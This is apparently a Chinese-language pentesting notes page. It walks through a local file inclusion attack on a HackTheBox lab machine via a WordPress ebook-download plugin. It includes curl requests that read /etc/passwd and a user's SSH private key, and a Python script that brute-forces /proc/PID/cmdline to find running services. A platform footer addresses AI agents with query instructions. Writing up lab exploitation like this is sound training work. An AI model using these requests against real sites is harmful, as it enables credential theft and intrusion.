> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-proc-logs-pentesting-web.md).

# LFI Proc Logs

## LFI 漏洞利用

**敏感文件枚举：** 通过 /etc/passwd 列出系统用户：

```bash
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/

```

<figure><img src="/files/058bd7fa5f2663f7c4c039349784e5554f29acc6" alt=""><figcaption></figcaption></figure>

尝试获取该用户的私有 SSH 密钥 `用户`:

```bash
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa"
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa.pub"

```

这些尝试可能会失败，因为这些文件的权限受到限制。

<figure><img src="/files/623af35933341c778db0f4d1adb89ac63ec21c04" alt=""><figcaption></figcaption></figure>

### **LFI - Proc**

**proc 的探索** 通过探查创建一个 Python 脚本来提取进程信息 `/proc/[PID]/cmdline`:

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb
def def_handler(sig, frame):
    print("/n/n[+]] 正在退出.../n")
    sys.exit(1)
# LFI Proc 日志
signal.signal(signal.SIGINT, def_handler)
# LFI Proc 日志
main_url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
def makeRequest():
    # /proc/PID/cmdline
    p1 = log.progress("暴力破解攻击")
    p1.status("开始暴力破解攻击")
    sleep(2)
    for i in range(1, 1000):
        p1.status("尝试使用路径 /proc/%s/cmdline" % str(i))
        url = main_url + "/proc/" + str(i) + "/cmdline"
        r = requests.get(url)
        if len(r.content) > 82:
            print("-------------------------------------------------------------------------------------")
            log.info("路径：/proc/%s/cmdline" % str(i))
            log.info("总长度：%s" %len(r.content))
            print(r.content)
            print("-------------------------------------------------------------------------------------")
if __name__ == '__main__':
    makeRequest()

```

通过分析进程，端口 1337 被识别为一个服务器 **gdbserver**.

<figure><img src="/files/b0da0ee3b6372b4ca5927ccb51f8d758421bcf8d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-proc-logs-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
